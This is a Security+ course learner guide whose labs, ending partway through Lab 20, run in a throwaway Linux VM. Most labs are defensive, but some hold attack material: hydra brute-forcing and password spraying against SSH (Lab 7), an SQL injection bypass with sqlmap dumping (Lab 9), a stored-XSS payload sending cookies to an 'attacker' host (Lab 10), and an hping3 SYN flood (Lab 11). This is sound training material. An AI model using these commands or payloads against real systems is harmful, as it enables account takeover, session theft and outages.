**Tertiary Infotech Academy Pte Ltd**

UEN: 201200696W

# LEARNER GUIDE

For

# CompTIA Security+ Certification (SY0-701)

TGS Ref No: TGS-2023039181

Conducted by

**Tertiary Infotech Academy Pte Ltd**

UEN: 201200696W

**Version 1.0**


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

## DOCUMENT VERSION CONTROL RECORD

| Version Number | Effective Date of Release | Summary of Included Changes | Author |
|---|---|---|---|
| 1.0 | 2 July 2026 | Initial release — Security+ SY0-701 Learner Guide covering all 36 labs. | Dr. Alfred Ang |


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

## TABLE OF CONTENTS

Right-click and choose “Update Field”, or press F9, to build the table of contents.


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

# Introduction

This Learner Guide accompanies the WSQ course CompTIA Security+ Certification (SY0-701) (TGS-2023039181), conducted by Tertiary Infotech Academy Pte Ltd. It provides step-by-step instructions for all 36 hands-on labs, organised by the five official CompTIA Security+ SY0-701 exam domains. Every lab maps to a published exam objective and runs in the free Killercoda Ubuntu Playground — a disposable Linux VM in your browser.

Use this guide alongside the course slides and the full lab files in the labs/ folder of the course repository (https://github.com/tertiarycourses/TGS-2023039181-SecurityPlus). Each lab notes the free tools it uses and how to verify success; reset the Killercoda playground between labs that change firewall, PAM or routing state.

# Course Learning Outcomes

- LO1: Apply general security concepts — control categories and types, the CIA triad and AAA, cryptographic primitives (hashing, symmetric/asymmetric encryption) and PKI.
- LO2: Identify threats, vulnerabilities and mitigations — phishing, password and web attacks (SQLi, XSS), malware, denial-of-service, vulnerability scanning and host hardening.
- LO3: Implement secure architecture — network segmentation, firewalls, WAF, VPN, data-at-rest encryption, TLS hardening and resilient backup.
- LO4: Run security operations — SSH/identity hardening, MFA, SIEM, IDS, EDR, file-integrity monitoring, vulnerability management, incident response and automation.
- LO5: Manage the security program — risk registers and CVSS, reconnaissance, penetration testing, compliance auditing and security-awareness testing.

# Before You Start — Environment Setup

## What you need

- A modern web browser — no local installation is required.
- The free Killercoda Ubuntu Playground: https://killercoda.com/playgrounds/scenario/ubuntu
- A root shell with internet access (provided by Killercoda) to install tools via apt or a single binary download.
- The course lab files — clone or download the repository at https://github.com/tertiarycourses/TGS-2023039181-SecurityPlus.

## Launch the Killercoda Ubuntu Playground

Open the playground in your browser and wait for the terminal to become ready. You are dropped into a root shell on a throwaway Ubuntu VM, so you can install packages and


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

change system state freely. When a lab is finished — or if a lab leaves the VM in a bad state — click Restart/Reset to get a clean VM.

```
whoami            # root

lsb_release -a    # confirm the Ubuntu version

apt update        # refresh the package lists before installing lab tools
```

### Conventions used in every lab

- Each lab lists its Required software at the top; install it with the apt or download command shown.
- Commands are run as root in the Killercoda terminal unless a lab says otherwise.
- Reset the playground between labs that change firewall, PAM, routing or disk state.
- A few labs also use free online tools (e.g. VirusTotal, SSL Labs, crt.sh) — links are in each lab file.

Legal & ethical use: labs involving scanning, exploitation, password cracking, phishing simulation or denial-of-service (Labs 7, 9, 11, 32, 33, 34, 36) must only be run against systems you own (the Killercoda VM, your own containers) or targets you are explicitly authorised to test. Unauthorised use against third-party systems is illegal, including under the Singapore Computer Misuse Act (Cap. 50A).

## Domain 01 — General Security Concepts (12%)

Security controls · CIA & AAA · Hashing · Encryption · PKI

### Key concepts

- Security controls are grouped by CATEGORY (technical, managerial, operational, physical) and by TYPE (preventive, deterrent, detective, corrective, compensating, directive).
- The CIA triad — confidentiality, integrity, availability — is the goal; AAA (authentication, authorization, accounting) is how identities are governed.
- Hashing proves integrity; salting defeats rainbow tables; digital signatures add authenticity and non-repudiation.
- Symmetric encryption is fast for bulk data; asymmetric (public-key) solves key exchange; PKI and certificate authorities bind keys to identities.

### Lab 1 — Security Controls Categorization

Exam objective: Categorize and implement security controls.

Goal: The learner maps real-world controls to categories and types, then implements a technical preventive control and a detective control on Linux.

### What you'll build


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

A control matrix plus a live iptables firewall block and auditd file-watch rule. (Tools: iptables, auditd, auditctl, ausearch.)

### Step-by-step

1. Map ten controls to a category and a type
2. Block inbound Telnet with a preventive iptables rule

```
iptables -A INPUT -p tcp --dport 23 -j DROP
```

3. List the firewall rules to confirm the block

```
iptables -L INPUT -n --line-numbers | head
```

4. Install auditd and watch /etc/passwd for changes

```
apt update && apt install -y auditd
```

5. Add the detective watch rule and list it

```
auditctl -w /etc/passwd -p wa -k passwd_changes
```

6. Trigger a change and confirm auditd detected it

```
echo "# test" >> /etc/passwd
```

7. Search the audit log for the recorded event

```
ausearch -k passwd_changes | tail
```

### Test it

The iptables rule appears in the INPUT chain and ausearch shows the logged /etc/passwd change.

**Note:** Full step-by-step commands and references are in labs/lab-01-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 2 — CIA Triad and AAA on Linux

Exam objective: Demonstrate CIA and AAA with Linux tools.

Goal: The learner enforces confidentiality, integrity, and availability, then walks through authentication, authorization, and accounting using built-in Linux tools.

### What you'll build

A permission-protected secret file, a checksum integrity check, and a scoped sudo rule with an audit trail. (Tools: chmod, sha256sum, systemctl, ss, passwd, sudo, su.)

### Step-by-step


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

8. Protect a secret file so only its owner can read it

```
chmod 600 /home/alice/secret.txt
```

9. Confirm another user is denied access

```
sudo -u bob cat /home/alice/secret.txt 2>&1 || echo DENIED
```

10. Baseline the file hash then detect tampering

```
sha256sum -c /tmp/secret.sha256 || echo "Integrity FAILED"
```

11. Restart sshd and confirm it is listening

```
systemctl restart ssh
```

12. Set alice's password to authenticate her

```
passwd alice <<EOF

Lab1234!

Lab1234!

EOF
```

13. Grant alice one scoped sudo command

```
echo "alice ALL=(ALL) NOPASSWD: /usr/bin/cat /var/log/auth.log" >>
/etc/sudoers
```

14. Verify authorization is limited then read the log

```
su - alice -c 'sudo cat /etc/shadow' 2>&1 | tail -1
```

15. Inspect the accounting trail of sudo/su actions

```
tail -20 /var/log/auth.log
```

**Test it**

Bob is denied the secret, the tampered checksum fails, alice can run only her one sudo command, and auth.log records every action.

**Note:** Full step-by-step commands and references are in labs/lab-02-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 3 — Hashing, Salting, and Digital Signatures

Exam objective: Hash, salt, and sign data with OpenSSL.


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Goal: The learner produces deterministic hashes, adds salt, applies key stretching, and creates and verifies an RSA digital signature.

### What you'll build

Salted hashes, a stretched password hash, and a verified RSA signature over a document. (Tools: sha256sum, openssl rand, openssl passwd, openssl genrsa, openssl dgst.)

### Step-by-step

16. Hash a password twice to show determinism

```
echo -n 'Pa$$w0rd' | sha256sum
```

17. Generate a random salt and hash the salted value

```
SALT=$(openssl rand -hex 8)
```

18. Produce a key-stretched SHA-512 crypt hash

```
openssl passwd -6 -salt $(openssl rand -hex 4) 'Pa$$w0rd'
```

19. Generate an RSA key pair

```
openssl genrsa -out priv.pem 2048
```

20. Export the matching public key

```
openssl rsa -in priv.pem -pubout -out pub.pem
```

21. Sign a document with the private key

```
openssl dgst -sha256 -sign priv.pem -out order.sig order.txt
```

22. Verify the signature with the public key

```
openssl dgst -sha256 -verify pub.pem -signature order.sig order.txt
```

23. Tamper the file and confirm verification fails

```
echo " - extra line" >> order.txt
```

### Test it

The signature returns Verified OK on the original file and Verification Failure after tampering.

**Note:** Full step-by-step commands and references are in labs/lab-03-*.md. Reset the Killercoda playground before the next stateful lab.


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

## Lab 4 — Symmetric vs. Asymmetric Encryption

Exam objective: Compare AES, GPG, and hybrid encryption.

Goal: The learner encrypts a file with AES-256, then with GPG public-key crypto, and inspects the hybrid packet structure.

### What you'll build

An AES-encrypted file, a GPG key pair with a public/private encrypt-decrypt round trip, and a decoded hybrid packet dump.  (Tools: openssl enc, gnupg, gpg, xxd.)

### Step-by-step

24. Install GnuPG

```
apt update && apt install -y gnupg
```

25. Encrypt a message symmetrically with AES-256

```
openssl enc -aes-256-cbc -pbkdf2 -salt -in msg.txt -out msg.aes -pass
pass:Lab1234!
```

26. Decrypt it with the same passphrase

```
openssl enc -d -aes-256-cbc -pbkdf2 -in msg.aes -pass pass:Lab1234!
```

27. Generate a GPG asymmetric key pair

```
gpg --batch --pinentry-mode loopback --passphrase '' --quick-generate-key
'Alice <alice@lab.local>' rsa2048 default 1y
```

28. Export Alice's shareable public key

```
gpg --armor --export alice@lab.local > alice.pub
```

29. Encrypt to Alice's public key

```
gpg --yes --trust-model always -r alice@lab.local -e -o msg.gpg msg.txt
```

30. Decrypt with Alice's private key

```
gpg --pinentry-mode loopback --passphrase '' -d msg.gpg
```

31. Inspect the hybrid packet structure

```
gpg --list-packets msg.gpg | head -20
```

### Test it

AES decryption returns the plaintext and the GPG packet dump shows a pubkey-enc packet wrapping an AES-encrypted data packet.


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

**Note:** Full step-by-step commands and references are in labs/lab-04-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 5 — PKI: Build Your Own Certificate Authority

Exam objective: Run a CA lifecycle from CSR to CRL.

Goal: The learner stands up a private root CA, signs a server CSR, revokes the certificate, and publishes a CRL.

### What you'll build

A self-signed root CA, a CA-signed server certificate, and a CRL listing the revoked cert. (Tools: openssl genrsa, openssl req, openssl ca, openssl x509, openssl crl.)

### Step-by-step

32. Create the CA directory layout and files

```
mkdir -p ~/ca/{certs,private,newcerts,crl}
```

33. Generate the root key and self-signed root cert

```
openssl req -x509 -new -key private/ca.key -days 3650 -sha256 -subj
"/CN=Lab Root CA/O=Tertiary InfoTech" -out certs/ca.crt
```

34. Generate a server key and a CSR

```
openssl req -new -key private/server.key -subj "/CN=web.lab.local/O=Lab"
-out server.csr
```

35. Write the CA config and sign the CSR

```
openssl ca -batch -config openssl.cnf -in server.csr -out certs/server.crt
```

36. Verify the issued cert's issuer and subject

```
openssl x509 -in certs/server.crt -noout -issuer -subject
```

37. Revoke the server certificate

```
openssl ca -config openssl.cnf -revoke certs/server.crt
```

38. Generate and inspect the CRL

```
openssl ca -config openssl.cnf -gencrl -out crl/lab.crl
```

39. Browse the system's trusted third-party root store

```
ls /etc/ssl/certs | head
```

### Test it


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

The server cert shows issuer Lab Root CA, and the generated CRL lists server.crt as revoked.

**Note:** Full step-by-step commands and references are in labs/lab-05-*.md. Reset the Killercoda playground before the next stateful lab.

## Domain 02 — Threats, Vulnerabilities & Mitigations (22%)

Phishing · Passwords · Malware · Web attacks · Scanning · Hardening

### Key concepts

- Social engineering and phishing exploit people; SPF, DKIM and DMARC authenticate mail and expose spoofing.
- Password attacks (spraying, brute force, offline cracking) are countered by length, hashing with salt, and lockout.
- Web application flaws — SQL injection and cross-site scripting (XSS) — come from unvalidated input; mitigate with parameterisation and output encoding.
- Find weaknesses before attackers do: vulnerability scanning, malware analysis and a hardening baseline reduce the attack surface.

### Lab 6 — Phishing Email Header Analysis (SPF / DKIM / DMARC)

Exam objective: Analyze phishing email headers and validate anti-spoofing DNS records.

Goal: The learner dissects a spoofed email header and queries SPF, DKIM, and DMARC DNS records to prove the message did not come from the claimed sender.

### What you'll build

A header-analysis workflow that exposes SPF/DKIM/DMARC spoofing. (Tools: dnsutils, dig, swaks.)

### Step-by-step

40. Install DNS lookup and mail tools

```
apt update && apt install -y dnsutils swaks
```

41. Save a known-bad phishing header to mail.eml

```
cat > mail.eml <<'EOF'
...
EOF
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

42. Read the SPF record for the claimed sender

```
dig +short TXT paypal.com | grep spf
```

43. Pull the DMARC policy record

```
dig +short TXT _dmarc.paypal.com
```

44. Pull the DKIM selector public key

```
dig +short TXT s1024._domainkey.paypal.com
```

45. Generate a test message with swaks

```
swaks --to test@example.com --from spoof@paypal.com --server localhost --
suppress-data --quit-after RCPT 2>&1 | head
```

### Test it

The learner confirms spf=fail, dkim=none, dmarc=fail in the header and that the sending IP is absent from the real SPF record.

**Note:** Full step-by-step commands and references are in labs/lab-06-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 7 — Password Attacks: Spraying, Brute Force, Cracking

Exam objective: Perform controlled brute force, cracking, and spraying against systems you own.

Goal: The learner brute-forces a local SSH account with hydra, cracks the /etc/shadow hash with John the Ripper, and demonstrates password spraying.

### What you'll build

A hands-on attack chain covering brute force, offline cracking, and spraying with their log signatures. (Tools: hydra, john, openssh-server.)

### Step-by-step

46. Install the attack tools and SSH server

```
apt update && apt install -y hydra john openssh-server
```

47. Create a target user with a weak password

```
echo 'victim:password123' | chpasswd
```

48. Build a small wordlist

```
cat > words.txt <<'EOF'
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
...
EOF
```

49. Brute force SSH with hydra

```
hydra -l victim -P words.txt -t 4 -f ssh://127.0.0.1
```

50. Detect the attack in the auth log

```
grep "Failed password" /var/log/auth.log 2>/dev/null | tail || journalctl
-u ssh --no-pager | grep "Failed password" | tail
```

51. Crack the /etc/shadow hash with John

```
john --wordlist=words.txt target.hash
```

52. Demonstrate password spraying across users

```
for u in alice bob carol dave eve; do hydra -l "$u" -p "Winter2025!" -t 1
-f ssh://127.0.0.1; done
```

### Test it

The learner verifies hydra reports 'password123' as valid and John's --show reveals the cracked hash.

**Note:** Full step-by-step commands and references are in labs/lab-07-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 8 — Malware Static Analysis (Safe Sample)

Exam objective: Profile a benign test binary using core static-analysis primitives.

Goal: The learner analyzes the harmless EICAR test file with file, strings, hashing, and a custom YARA rule the way a SOC analyst triages real malware.

### What you'll build

A static-analysis workflow producing an IoC hash and a reusable YARA detection. (Tools: file, binutils, coreutils, yara.)

### Step-by-step

53. Install YARA

```
apt update && apt install -y yara
```

54. Create the safe EICAR test sample


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
> sample.bin
```

55. Identify the file type

```
file sample.bin
```

56. Compute the SHA-256 IoC hash

```
sha256sum sample.bin
```

57. Pull printable strings

```
strings sample.bin
```

58. Write a YARA rule and scan the sample

```
yara eicar.yar sample.bin
```

59. Look up the known hash on threat feeds

```
yara -r eicar.yar /tmp
```

### Test it

The learner confirms the YARA rule matches sample.bin and that the SHA-256 is recognized across VirusTotal engines.

**Note:** Full step-by-step commands and references are in labs/lab-08-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 9 — SQL Injection (SQLi)

Exam objective: Exploit and then patch a vulnerable PHP login page.

Goal: The learner builds a deliberately vulnerable PHP/SQLite login, bypasses auth with manual and automated SQLi, then fixes it with parameterised queries.

### What you'll build

A vulnerable login app plus its prepared-statement patch. (Tools: sqlite3, php-cli, php-sqlite3, sqlmap, curl.)

### Step-by-step

60. Install the SQLite/PHP/sqlmap stack

```
apt update && apt install -y sqlite3 php-cli php-sqlite3 sqlmap
```

61. Build a vulnerable login page and DB


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
php -S 127.0.0.1:8080 -t . &
```

62. Confirm normal login behaviour

```
curl -s "http://127.0.0.1:8080/login.php?u=admin&p=s3cret"
```

63. Bypass auth with a manual injection

```
curl -s "http://127.0.0.1:8080/login.php?u=admin'--&p=anything"
```

64. Automate exploitation with sqlmap

```
sqlmap -u "http://127.0.0.1:8080/login.php?u=admin&p=x" --batch --dump -T
users
```

65. Patch with a parameterised query

```
cat > login.php <<'EOF'

...

EOF
```

66. Verify the injection now fails

```
curl -s "http://127.0.0.1:8080/login.php?u=admin'--&p=x"
```

### Test it

The learner verifies the injected payload logs in before the patch and returns nothing after switching to bind parameters.

**Note:** Full step-by-step commands and references are in labs/lab-09-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 10 — Cross-Site Scripting (XSS)

Exam objective: Exploit reflected and stored XSS, then mitigate with encoding and CSP.

Goal: The learner triggers reflected and stored XSS in tiny PHP pages, then defends with htmlspecialchars output encoding and a Content-Security-Policy header.

### What you'll build

Vulnerable search/guestbook pages plus their encoding and CSP mitigations. (Tools: php-cli, curl.)

### Step-by-step

67. Install PHP and set up the workspace

```
apt update && apt install -y php-cli
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

68. Create a vulnerable reflected-XSS page

```
php -S 127.0.0.1:8080 -t . &
```

69. Trigger the reflected XSS payload

```
curl -s "http://127.0.0.1:8080/search.php?q=<script>alert(1)</script>"
```

70. Store an XSS payload in a guestbook

```
curl -s "http://127.0.0.1:8080/guestbook.php?
msg=<script>document.location='http://attacker/?c='+document.cookie</
script>"
```

71. Mitigate with output encoding

```
echo 'htmlspecialchars($q, ENT_QUOTES, "UTF-8")'
```

72. Add a strict Content-Security-Policy header

```
php -S 127.0.0.1:8080 router.php &
```

73. Confirm the CSP header is served

```
curl -sD - "http://127.0.0.1:8080/search.php?q=hi" | head
```

### Test it

The learner confirms the script reflects verbatim before the fix and appears as escaped <script> text with a CSP header after.

**Note:** Full step-by-step commands and references are in labs/lab-10-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 11 — DoS Simulation and Detection

Exam objective: Generate a controlled SYN flood, detect it, and rate-limit it.

Goal: The learner floods their own loopback with hping3, watches the connection table fill with half-open sockets, then mitigates using SYN cookies and iptables rate-limiting.

### What you'll build

A SYN-flood detection-and-mitigation exercise on a local nginx target. (Tools: hping3, nginx, iptables.)

### Step-by-step

74. Install attacker and target

```
apt update && apt install -y hping3 nginx
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

75. Baseline the open connections

```
ss -s
```

76. Launch a loopback-only SYN flood

```
timeout 10 hping3 -S -p 80 --flood --rand-source 127.0.0.1 &
```

77. Log incoming SYNs with iptables

```
iptables -A INPUT -p tcp --syn --dport 80 -j LOG --log-prefix "SYN: " --
log-level 4
```

78. Enable SYN cookies and rate-limit

```
sysctl -w net.ipv4.tcp_syncookies=1
```

79. Insert the rate-limit accept rule

```
iptables -I INPUT -p tcp --syn --dport 80 -m limit --limit 25/s --limit-
burst 50 -j ACCEPT
```

80. Re-run the flood and compare

```
timeout 10 hping3 -S -p 80 --flood --rand-source 127.0.0.1
```

### Test it

The learner verifies the SYN-RECV count spikes during the flood and stays bounded after enabling SYN cookies plus rate-limiting.

**Note:** Full step-by-step commands and references are in labs/lab-11-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 12 — Vulnerability Scanning with Nikto and Nuclei

Exam objective: Scan a weak web server, prioritise findings by CVSS, and verify remediation.

Goal: The learner scans a local Apache server with Nikto and Nuclei, ranks findings by CVSS, applies hardening headers, and re-scans to confirm the fixes.

### What you'll build

A prioritised, CVSS-ranked remediation queue with verified header fixes. (Tools: nikto, apache2, nuclei.)

### Step-by-step

81. Install the scanner and target server


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
apt update && apt install -y nikto apache2 wget
```

82. Run Nikto against the local server

```
nikto -h http://127.0.0.1 -o nikto.txt
```

83. Download and set up nuclei

```
wget -q
https://github.com/projectdiscovery/nuclei/releases/download/v3.10.0/
nuclei_3.10.0_linux_amd64.zip
```

84. Scan with a severity filter

```
./nuclei -u http://127.0.0.1 -s low,medium,high,critical -o nuclei.txt
```

85. Apply hardening headers to Apache

```
a2enmod headers && a2enconf hardening && systemctl reload apache2
```

86. Re-run Nikto to confirm the fixes

```
nikto -h http://127.0.0.1 | grep -E "X-Frame|HSTS|banner"
```

### Test it

The learner verifies the missing-header findings disappear from the Nikto output after applying the hardening config.

**Note:** Full step-by-step commands and references are in labs/lab-12-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 13 — Linux Hardening Baseline with Lynis

Exam objective: Audit, apply CIS-aligned fixes, and re-score a Linux host.

Goal: The learner audits an Ubuntu host with Lynis, applies SSH, sysctl, permission, and auto-update hardening, then re-audits to measure the improved hardening index.

### What you'll build

A before/after hardening score with CIS-aligned baseline fixes applied. (Tools: lynis, unattended-upgrades.)

### Step-by-step

87. Install Lynis and unattended-upgrades

```
apt update && apt install -y lynis unattended-upgrades
```

88. Run the initial audit and note the score


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
lynis audit system --quick 2>/dev/null | tee lynis-before.txt
```

89. Disable unused services and set permissions

```
systemctl disable --now avahi-daemon 2>/dev/null
```

90. Enable automatic security updates

```
dpkg-reconfigure -f noninteractive unattended-upgrades
```

91. Harden SSH configuration

```
sed -i 's/^#*PermitRootLogin.*/PermitRootLogin no/' /etc/ssh/sshd_config
```

92. Apply kernel sysctl hardening

```
sysctl --system >/dev/null
```

93. Re-audit and compare the hardening index

```
grep "Hardening index" lynis-before.txt lynis-after.txt
```

### Test it

The learner confirms the Lynis hardening index climbs 10-15 points between the before and after audits.

**Note:** Full step-by-step commands and references are in labs/lab-13-*.md. Reset the Killercoda playground before the next stateful lab.

## Domain 03 — Security Architecture (18%)

Segmentation · Firewalls · WAF · VPN · Encryption at rest · TLS · Backup

### Key concepts

- Defence in depth layers controls; network segmentation and firewalls limit lateral movement and enforce least privilege between zones.
- A web application firewall (WAF) filters HTTP attacks; a VPN protects data in transit across untrusted networks.
- Protect data at rest with full-disk encryption (LUKS) and data in transit with hardened TLS ciphers and protocols.
- Resilience is a security property: a tested 3-2-1 backup and recovery plan defeats ransomware and hardware failure.

### Lab 14 — Network Segmentation with Linux Namespaces

Exam objective: Segment networks with namespaces.


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Goal: Build DMZ, internal, and management zones as network namespaces and enforce a zone-to-zone policy with iptables.

### What you'll build

Three isolated L3 zones behind a host router  (Tools: ip netns, iproute2, veth, iptables.)

### Step-by-step

94. Create three zone namespaces

```
ip netns add dmz
```

95. Create veth pairs, move one end into each zone

```
ip link add veth-dmz type veth peer name veth-dmz-r
```

96. Assign IPs and enable IP forwarding

```
ip netns exec dmz ip addr add 10.0.10.2/24 dev veth-dmz
```

97. Verify full reachability with no policy yet

```
ip netns exec dmz ping -c1 10.0.20.2
```

98. Set default-deny FORWARD policy

```
iptables -P FORWARD DROP
```

99. Add explicit zone allow/deny rules

```
iptables -A FORWARD -s 10.0.20.0/24 -d 10.0.10.0/24 -j ACCEPT
```

100. Re-test the enforced screened-subnet policy

```
ip netns exec dmz ping -c1 -W1 10.0.20.2 || true
```

### Test it

DMZ-to-Internal pings fail while Internal-to-DMZ and Mgmt-to-DMZ succeed.

**Note:** Full step-by-step commands and references are in labs/lab-14-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 15 — Stateful Firewall with UFW and nftables

Exam objective: Build allow-list firewalls and read counters.

Goal: Compare the UFW and nftables front-ends over the same netfilter engine, build an allow-list ruleset, and read its packet counters.


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

### What you'll build

A default-deny host firewall with visible counters  (Tools: ufw, nftables, nginx, netcat.)

### Step-by-step

101. Install firewall tools and a test web server

```
apt install -y ufw nftables nginx netcat-openbsd
```

102. Build a UFW allow-list for SSH and HTTP

```
ufw allow 80/tcp comment 'HTTP from anywhere'
```

103. Enable UFW and show numbered status

```
ufw --force enable
```

104. Test an allowed port versus a denied port

```
nc -zv 127.0.0.1 23 2>&1
```

105. Inspect the underlying nftables ruleset

```
nft list ruleset | head -40
```

106. Write and load an nftables ruleset directly

```
systemctl enable --now nftables
```

107. Watch per-rule counters under load

```
nft list chain inet filter input | grep counter
```

### Test it

Port 80 answers, port 23 is blocked, and rule counters increment under load.

**Note:** Full step-by-step commands and references are in labs/lab-15-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 16 — Web Application Firewall with ModSecurity

Exam objective: Deploy a layer-7 WAF with the OWASP CRS.

Goal: Deploy Apache with ModSecurity and the OWASP Core Rule Set, then watch it block SQLi, XSS, traversal, and command-injection payloads.

### What you'll build


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

An Apache site protected by the OWASP CRS  (Tools: apache2, libapache2-mod-security2, modsecurity-crs.)

### Step-by-step

108. Install Apache, ModSecurity, and the CRS

```
apt install -y apache2 libapache2-mod-security2 modsecurity-crs
```

109. Turn the rule engine from DetectionOnly to On

```
sed -i 's/^SecRuleEngine DetectionOnly/SecRuleEngine On/'
/etc/modsecurity/modsecurity.conf
```

110. Load the OWASP CRS and restart Apache

```
echo 'Include /usr/share/modsecurity-crs/owasp-crs.load' >
/etc/modsecurity/owasp-crs.conf
```

111. Confirm the module and rules are loaded

```
apachectl -M 2>/dev/null | grep security2
```

112. Fire SQLi, XSS, traversal, and cmd payloads

```
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1/?
q=<script>alert(1)</script>"
```

113. Read the audit log for matched rules

```
tail -50 /var/log/modsec_audit.log
```

114. Tune a false positive and reload

```
systemctl reload apache2
```

### Test it

Each attack payload returns HTTP 403 and is recorded in the audit log.

**Note:** Full step-by-step commands and references are in labs/lab-16-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 17 — Site-to-Site VPN with WireGuard

Exam objective: Build an encrypted WireGuard tunnel.

Goal: Build an encrypted WireGuard tunnel between two simulated sites running in separate Linux network namespaces.

### What you'll build


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

A two-endpoint WireGuard tunnel across namespaces (Tools: wireguard, wireguard-tools, ip netns.)

### Step-by-step

115. Install WireGuard and load the kernel module

```
apt install -y wireguard wireguard-tools
```

116. Generate a key pair for each site

```
wg genkey | tee siteA.key | wg pubkey > siteA.pub
```

117. Build siteA/siteB namespaces with wg links

```
ip link add wgA type wireguard
```

118. Set keys, listen ports, and allowed-ips

```
ip netns exec siteA wg set wgA private-key siteA.key listen-port 51820
```

119. Set peer endpoints over host loopback

```
ip netns exec siteA wg set wgA peer "$(cat siteB.pub)" endpoint
127.0.0.1:51821
```

120. Verify the tunnel with ping and wg show

```
ip netns exec siteA ping -c3 10.99.0.2
```

### Test it

Ping succeeds and wg show reports a recent handshake with transferred bytes.

**Note:** Full step-by-step commands and references are in labs/lab-17-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 18 — Data at Rest: LUKS Full-Disk Encryption

Exam objective: Encrypt data at rest with LUKS2.

Goal: Create a LUKS2-encrypted volume on a loopback file, mount it, rotate its passphrase, and add a key-file slot.

### What you'll build

An encrypted volume with rotation and a keyfile (Tools: cryptsetup, losetup, mkfs.ext4.)

### Step-by-step

121. Install cryptsetup


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
apt install -y cryptsetup
```

122. Create a 50MB image on a loop device

```
losetup -fP --show vault.img
```

123. Format the loop device with LUKS2

```
echo -n "Lab1234!" | cryptsetup luksFormat --type luks2 --cipher aes-xts-
plain64 --key-size 512 --pbkdf argon2id "$LOOP" -
```

124. Open it, make a filesystem, and mount

```
echo -n "Lab1234!" | cryptsetup luksOpen "$LOOP" vault -
```

125. Confirm plaintext is absent from the raw image

```
strings vault.img | grep -i "secret data"
```

126. Rotate the passphrase

```
echo -e "Lab1234!\nNewPass!9" | cryptsetup luksChangeKey "$LOOP"
```

127. Add a key-file slot for unattended unlock

```
cryptsetup luksAddKey "$LOOP" /root/luks.key -
```

### Test it

The secret string is unrecoverable from the raw image and both credentials unlock the volume.

**Note:** Full step-by-step commands and references are in labs/lab-18-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 19 — TLS Hardening and Cipher Audit

Exam objective: Audit and harden an HTTPS TLS config.

Goal: Audit a fresh nginx HTTPS site with testssl.sh, apply a hardened TLS configuration, and re-audit to confirm improvement.

### What you'll build

A hardened TLS 1.2/1.3 nginx site with HSTS (Tools: nginx, openssl, testssl.sh.)

### Step-by-step

128. Set up a self-signed HTTPS nginx site

```
openssl req -x509 -newkey rsa:2048 -nodes -days 30 -keyout
/etc/ssl/private/lab.key -out /etc/ssl/certs/lab.crt -subj "/CN=lab.local"
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

129. Clone testssl.sh and run a baseline audit

```
./testssl.sh -p -P -s --color 0 https://localhost | tee ../baseline.txt
```

130. Write a hardened TLS snippet and include it

```
sed -i '/listen 443/a include /etc/nginx/snippets/tls-hardening.conf;'
/etc/nginx/sites-available/default
```

131. Reload nginx and re-audit

```
nginx -t && systemctl reload nginx
```

132. Cross-check downgrade resistance with openssl

```
openssl s_client -connect localhost:443 -tls1_1
```

### Test it

TLS 1.1 is rejected while TLS 1.3 negotiates a strong AEAD cipher and HSTS is present.

**Note:** Full step-by-step commands and references are in labs/lab-19-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 20 — Backup and Recovery with restic

Exam objective: Run encrypted backups and recover from ransomware.

Goal: Configure encrypted, deduplicated restic backups, simulate ransomware, and perform a point-in-time restore.

### What you'll build

An encrypted restic repo with tested recovery (Tools: restic, python3.)

### Step-by-step

133. Install restic

```
apt install -y restic
```

134. Create data and init an encrypted repo

```
restic -r /backup init
```

